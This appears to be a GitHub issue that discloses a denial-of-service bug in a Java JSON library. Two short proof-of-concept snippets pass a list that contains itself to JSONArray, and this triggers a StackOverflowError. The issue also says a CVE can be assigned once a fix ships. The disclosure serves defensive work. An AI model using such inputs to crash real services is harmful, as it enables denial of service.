Skip to content

If the value inside a Collection is itself, using it with JSONArray causes a StackOverflowError which may lead to DoS #60

@nitay-jfrog

Description

@nitay-jfrog

PoC when initializing a JSONArray:

public class POC {
    public static void main(String[] args) throws JSONException {
        ArrayList<Object> list = new ArrayList<>();
        list.add(list);
        JSONArray jsonArray=new JSONArray(list);
    }
}

The result:
image

PoC when adding the list to an existing JSONArray:

public class POC {
    public static void main(String[] args) throws JSONException {
        ArrayList<Object> list = new ArrayList<>();
        list.add(list);
        JSONArray jsonArray=new JSONArray().put(list);
    }
}

The result:
image

If the issue is indeed exploitable, we can create a CVE entry after the fixed version is released since we are a CNA.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions